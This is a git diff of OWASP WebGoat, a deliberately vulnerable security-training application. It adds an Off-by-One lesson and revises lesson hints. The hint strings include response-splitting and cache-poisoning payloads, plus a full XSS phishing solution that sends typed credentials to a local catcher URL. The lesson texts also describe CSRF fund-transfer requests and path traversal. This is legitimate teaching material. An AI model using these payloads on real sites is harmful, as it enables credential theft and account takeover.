Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>"); + .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E
For insight into what this does, use the PHP charset encoder to decode it."); hints .add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date."); hints - .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>"); + .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E"); hints .add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page"); hints diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java index 299386c91..eceba3b91 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java @@ -361,7 +361,7 @@ public class MaliciousFileExecution extends LessonAdapter String instructions = "The form below allows you to upload an image which will be displayed on this page. " + "Features like this are often found on web based discussion boards and social networking sites. " + "This feature is vulnerable to Malicious File Execution." - + "
In order to pass this lession, upload and run a malicious file. In order to prove that your file can execute," + + "
In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute," + " it should create another file named:
" + uploads_and_target_parent_directory + TARGET_RELATIVE_PATH diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/OffByOne.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/OffByOne.java new file mode 100644 index 000000000..18834df8c --- /dev/null +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/OffByOne.java @@ -0,0 +1,518 @@ + +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.xhtml.br; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + + +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository for free software + * projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Yiannis Pavlosoglou WebGoat + * @created December 05, 2009 + */ +public class OffByOne extends LessonAdapter +{ + private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"}; + + private final static String ROOM_NUMBER = "room_no"; + + private final static String FIRST_NAME = "first_name"; + + private final static String LAST_NAME = "last_name"; + + private final static String PRICE_PLAN = "price_plan"; + + private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd") + .setBorder(0).setHspace(0).setVspace(0); + + /** + *
The main method for creating content, implemented + * from the the LessonAdapter class.
+ * + *This particular "Off-by-One" lesson belonging in + * the category of "Buffer Overflows" carries three + * steps.
+ * + * @param s + * WebSession + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + if(isFirstStep(s)) + { + ec.addElement(makeFirstStep(s)); + } + else + { + if (isSecondStep(s)) + { + ec.addElement(makeSecondStep(s)); + } + else + { + ec.addElement(makeThirdStep(s)); + } + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + *Returns the Buffer Overflow category for this + * lesson.
+ * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.BUFFER_OVERFLOW; + } + + /** + *Returns the hints as a List of Strings + * for this lesson.
+ * + * @return The hints values + */ + public ListGet the default ranking within the "Buffer + * Overflow" category.
+ * + *Currently ranked to be the first lesson in + * this category.
+ * + * @return The value of 5 as an Integer Object + */ + protected Integer getDefaultRanking() + { + return new Integer(5); + } + + /** + *Gets the title attribute for this lesson.
+ * + * @return "Off-by-One Overflows" + */ + public String getTitle() + { + return ("Off-by-One Overflows"); + } + + /** + * yada, yada... + */ + public Element getCredits() + { + return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO); + } + + /** + *Based on the parameters currently with values, this method + * returns true if we are in the first step of this lesson.
+ * + * @param s + * @return true if we are in the first step of the lesson. + */ + protected boolean isFirstStep(WebSession s) + { + String room = s.getParser().getRawParameter(ROOM_NUMBER, ""); + String name = s.getParser().getRawParameter(FIRST_NAME, ""); + String last = s.getParser().getRawParameter(LAST_NAME, ""); + + return (room.isEmpty() && name.isEmpty() && last.isEmpty() ); + } + + /** + *Based on the parameters currently with values, this method + * returns true if we are in the second step of this lesson.
+ * + * @param s + * @return true if we are in the second step of the lesson + */ + protected boolean isSecondStep(WebSession s) + { + String price = s.getParser().getRawParameter(PRICE_PLAN, ""); + + return price.isEmpty(); + } + + /** + *Method for constructing the first step and returning it as + * an Element.
+ * + * @param s + * @return The Element that is the first step. + */ + private Element makeFirstStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; + + // Header + ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Step 1/2")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system.")); + ec.addElement(new br()); + ec.addElement(new br()); + + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + // First Name + try { + param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + Input input = new Input(Input.TEXT, FIRST_NAME, param); + + TR tr = new TR(); + tr.addElement(new TD().addElement("First Name: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Last Name + try { + param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + input = new Input(Input.TEXT, LAST_NAME, param); + + tr = new TR(); + tr.addElement(new TD().addElement("Last Name: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Room Number + try { + param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + input = new Input(Input.TEXT, ROOM_NUMBER, param); + + tr = new TR(); + tr.addElement(new TD().addElement("Room Number: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit"))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("* The above fields are required for login.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + /** + *Method for constructing the second step and returning it as + * an Element.
+ * + * @param s + * @return The Element that is the second step. + */ + private Element makeSecondStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; + + // Header + ec.addElement(new StringElement("Please select from the following available price plans:")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Step 2/2")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service.")); + ec.addElement(new br()); + ec.addElement(new br()); + + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + + // First Empty Row + TR tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Price Plans + tr = new TR(); + tr.addElement(new TD().addElement("Available Price Plans:")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms"))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + ec.addElement("\r\n"); + + // Hidden Form Fields + param = s.getParser().getStringParameter(LAST_NAME, ""); + Input input = new Input(Input.HIDDEN, LAST_NAME, param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(FIRST_NAME, ""); + input = new Input(Input.HIDDEN, FIRST_NAME, param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(ROOM_NUMBER, ""); + input = new Input(Input.HIDDEN, ROOM_NUMBER, param); + ec.addElement(input); + ec.addElement("\r\n"); + + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + /** + *Method for constructing the third step and returning it as + * an Element.
+ * + * @param s + * @return The Element that is the third step. + */ + private Element makeThirdStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; + + // Header + ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Process complete")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now.")); + ec.addElement(new br()); + ec.addElement(new br()); + + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + + // First Empty Row + TR tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Price Plans + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + ec.addElement("\r\n"); + + // Hidden Form Fields + param = s.getParser().getStringParameter(LAST_NAME, ""); + Input input = new Input(Input.HIDDEN, "a", param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(FIRST_NAME, ""); + input = new Input(Input.HIDDEN, "b", param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(ROOM_NUMBER, ""); + input = new Input(Input.HIDDEN, "c", param); + ec.addElement(input); + ec.addElement("\r\n"); + + // And finally the check... + if(param.length() > 4096) + { + ec.addElement(new Input(Input.hidden, "d", "Johnathan")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "e", "Ravern")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "f", "4321")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "g", "John")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "h", "Smith")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "i", "56")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "j", "Ana")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "k", "Arneta")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "l", "78")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "m", "Lewis")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "n", "Hamilton")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "o", "9901")); + ec.addElement("\r\n"); + // :) + makeSuccess(s); + + } + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("We would like to thank you for your payment.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + +} diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java index a9a81fb8c..ce37685d7 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java @@ -170,21 +170,21 @@ public class Phishing extends LessonAdapter + "Try to make the form look official."); hints .add("Try:" - + "password<form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br></form><br><br><HR>"); hints .add("Add functionality that can post a request, a button might work
" + "After getting the button on the page, don't forget you will need to steal the credentials and post them to:
" - + "http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); + + "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); hints .add("Try:
" + "<input type="submit" name="login" " + "value="login">" - + "
Solution for this hint:
" - + "password<form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "
In the whole script:
" + + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br><input type="submit" name="login" " + "value="login" onclick="hack()"></form><br><br><HR>"); @@ -192,49 +192,52 @@ public class Phishing extends LessonAdapter .add("Make the button perform an action on submit,
" + "adding an onclick=\"hack()\" might work
" + "Don't forget to add the hack() javascript function" - + "
Solution for this hint:
" - + "password<form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "
In the whole script:
" + + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>"); + + "value="login" onclick="hack()"></form><br><br><HR>
" + + "Also, check firebug. Does the search form need to be terminated for this to work...? (</form>)"); hints .add("You need to create the hack() function. This function will pull the credentials from the " + "webpage and post them to the WebGoat catcher servlet.
" + "
Some useful code snippets:
- "
- + "
- doucument.forms[0].user.value - will access the user field" + + "
- doucument.phish.user.value - will access the user field" + "
- XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" + "
- javascript string concatentation uses a \"+\"
Solution for this hint():
" - + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.forms[0].user.value + "\nPassword = " + document.forms[0].pass.value); " - + "XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+" - + "document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}" + + "
The entire javascript portion:
" + + "<script>function hack(){ " + + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" + + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" + + "alert("Had this been a real attack... Your credentials were just stolen." + + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " + "</script>"); hints .add("Complete solution for this lesson:
" - + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.forms[0].user.value + "\nPassword = " + document.forms[0].pass.value); " - + "XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+" - + "document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}" - + "</script><form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "</form><script>function hack(){ " + + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" + + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" + + "alert("Had this been a real attack... Your credentials were just stolen." + + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " + + "</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br><input type="submit" name="login" " + "value="login" onclick="hack()"></form><br><br><HR>"); /** * password
@@ -258,7 +261,7 @@ public class Phishing extends LessonAdapter + "Using XSS and HTML insertion, your goal is to:
- "
+ "
- Insert html to that requests credentials" + "
- Add javascript to actually collect the credentials" - + "
- Post the credentials to http://localhost/WebGoat/catcher?PROPERTY=yes...
"; return (instructions); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java index c560621e0..2a5390752 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java @@ -62,8 +62,9 @@ public class DeleteProfile extends DefaultLessonAction if (isAuthenticated(s)) { + if (userId != employeeId) { deleteEmployeeProfile(s, userId, employeeId); - + } try { chainedAction.handleRequest(s); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java index c28554cc2..ceee7619a 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java @@ -68,6 +68,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + + // This action has not yet been implemented. None of the lessons require it. registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); // These actions are special in that they chain to other actions. diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java index a072a5dfe..c840fe83e 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java @@ -149,7 +149,8 @@ public class SQLInjection extends GoatHillsFinancial } else if (STAGE2.equals(stage)) { - instructions = "Stage 2: Block SQL Injection using a Parameterized Query.
" + instructions = "Stage 2: Block SQL Injection using a Parameterized Query.
" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
" + "Implement a fix to block SQL injection into the fields in question on the Login page. " + "Repeat stage 1. Verify that the attack is no longer effective."; } @@ -161,7 +162,8 @@ public class SQLInjection extends GoatHillsFinancial } else if (STAGE4.equals(stage)) { - instructions = "Stage 4: Block SQL Injection using a Parameterized Query.
" + instructions = "Stage 4: Block SQL Injection using a Parameterized Query.
" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
" + "Implement a fix to block SQL injection into the relevant parameter. " + "Repeat stage 3. Verify that access to Neville's profile is properly blocked."; } diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java index 18fcc4680..7a872b451 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java @@ -245,7 +245,7 @@ public class SessionFixation extends SequentialLessonAdapter + "During the last week we had a few problems with our database. " + "We have received many complaints regarding incorrect account details. " + "Please use the following link to verify your account " - + "data:
" + "We are sorry for the any inconvenience and thank you for your cooparation.
" diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java index 3cf57aaa2..3ccd0bc97 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java @@ -141,7 +141,7 @@ public class SqlStringInjection extends SequentialLessonAdapter { ElementContainer ec = new ElementContainer(); - ec.addElement(WebGoatI18N.get("StringSqlInjectioNSecondStage")); + ec.addElement(WebGoatI18N.get("StringSqlInjectionSecondStage")); if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart")) { getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java index 3daba76c0..a3fcd219d 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java @@ -118,7 +118,7 @@ public class WSDLScanning extends LessonAdapter hints.add("Try connecting to the WSDL with a browser or Web Service tool."); hints.add("Sometimes the WSDL will define methods that are not available through a web API. " + "Try to find operations that are in the WSDL, but not part of this API"); - hints.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning
" + hints.add("The URL for the web service is: http://localhost/webgoat/services/WSDLScanning
" + "The WSDL can usually be viewed by adding a ?WSDL on the end of the request."); hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request."); return hints; diff --git a/webgoat/src/main/resources/WebGoatLabels_english.properties b/webgoat/src/main/resources/WebGoatLabels_english.properties index c3bee7ec3..e10085eab 100644 --- a/webgoat/src/main/resources/WebGoatLabels_english.properties +++ b/webgoat/src/main/resources/WebGoatLabels_english.properties @@ -82,7 +82,7 @@ FileTooLarge=File is too large FileBinary=File is binary TheFollowingError=The following error occurred while accessing the file: < PathBasedAccessControlInstr1=The ' -PathBasedAccessControlInstr2=' user has access to all the files in the lesson_plans/English directory. Try to break the access control mechanism and access a resource that is not in the listed directory. After selecting a file to view, WebGoat will report if access to the file was granted. An interesting file to try and obtain might be a file like tomcat/conf/tomcat-users.xml +PathBasedAccessControlInstr2=' user has access to all the files in the lesson_plans/English directory. Try to break the access control mechanism and access a resource that is not in the listed directory. After selecting a file to view, WebGoat will report if access to the file was granted. An interesting file to try and obtain might be a file like tomcat/conf/tomcat-users.xml. Remember that file paths will be different if using the WebGoat source. ErrorGenerating=Error generating ViewingFile=Viewing file: File=File: diff --git a/webgoat/src/main/webapp/images/header/header.jpg b/webgoat/src/main/webapp/images/header/header.jpg index 2e7acbad7..d5c71eeba 100644 Binary files a/webgoat/src/main/webapp/images/header/header.jpg and b/webgoat/src/main/webapp/images/header/header.jpg differ diff --git a/webgoat/src/main/webapp/images/logos/Thumbs.db b/webgoat/src/main/webapp/images/logos/Thumbs.db new file mode 100644 index 000000000..ac16b0730 Binary files /dev/null and b/webgoat/src/main/webapp/images/logos/Thumbs.db differ diff --git a/webgoat/src/main/webapp/images/logos/seleucus.png b/webgoat/src/main/webapp/images/logos/seleucus.png new file mode 100644 index 000000000..f95c1dce4 Binary files /dev/null and b/webgoat/src/main/webapp/images/logos/seleucus.png differ diff --git a/webgoat/src/main/webapp/lesson_plans/English/BufferOverflow.html b/webgoat/src/main/webapp/lesson_plans/English/BufferOverflow.html deleted file mode 100644 index b25b4f944..000000000 --- a/webgoat/src/main/webapp/lesson_plans/English/BufferOverflow.html +++ /dev/null @@ -1,9 +0,0 @@ -
-
-
-Lesson Plan Title: How to Exploit Buffer Overflows
-Concept / Topic To Teach:
-How to Exploit Buffer Overflows. -General Goal(s):
-This lesson needs a creator! - \ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_plans/English/CSRF.html b/webgoat/src/main/webapp/lesson_plans/English/CSRF.html index dc17ddef9..594d049bd 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/CSRF.html +++ b/webgoat/src/main/webapp/lesson_plans/English/CSRF.html @@ -21,6 +21,6 @@ In this way, the attacker can make the victim perform actions that they didn't iGeneral Goal(s):
-Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu. +Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu.Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. diff --git a/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html b/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html index a5b524be2..7a505f2ac 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html +++ b/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html @@ -27,6 +27,7 @@ parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the sh left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on -the left hand side menu. +the left hand side menu.
+Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. diff --git a/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html b/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html index b0cbe426d..b57ea6b83 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html +++ b/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html @@ -31,7 +31,8 @@ request to transfer funds. To successfully complete you need to obtain a valid The page that presents the transfer funds form contains a valid request token. The URL for the transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load this page, read the token and append the token in a forged request to transferFunds. When you think -the attack is successful, refresh the page and you will find the green check on the left hand side menu. +the attack is successful, refresh the page and you will find the green check on the left hand side menu.
+Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. diff --git a/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html b/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html index 94cb85851..551f7cb32 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html +++ b/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html @@ -33,17 +33,11 @@ solution for complete details.
To read and edit Parameters you need a local proxy to intercept the HTTP request.
Here we use WebScarab. More information on WebScarab can be found in the "Useful Tools" Chapter.
-After installing WebScarab and configuring your browser to use it as proxy on localhost we can start.
-
